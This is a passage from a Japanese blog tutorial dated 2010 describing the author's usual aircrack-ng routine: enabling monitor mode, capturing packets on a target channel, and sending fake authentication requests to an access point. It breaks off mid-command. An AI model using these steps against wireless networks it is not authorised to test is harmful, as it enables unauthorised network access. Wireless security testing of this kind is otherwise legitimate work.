2010.8.29 ※入力するコマンドを赤く、個々で変わる部分を青くしてみました。少しは見やすくなったかと。 aircrack-ngは色々オプションが多すぎて使い辛いのですが、私なりに一番よく使うパターンを紹介します。 1.モニターモードにする # airmon-ng start wlan0(環境によって変わります) 2.airodump-ngで情報収集 # airodump-ng mon0(こちらも環境によって変わります) 3.オプションでターゲットを絞り込んでパケット収集 # airodump-ng --channel (ターゲットのchannel)(例:11) --write (適当な名前を) mon0 4.端末をもう一個立ち上げて、パケットインジェクション アクセスポイントに認証要求 # aireplay-ng -1 0 -e (ESSID) -a (BSSID) -h (送信元M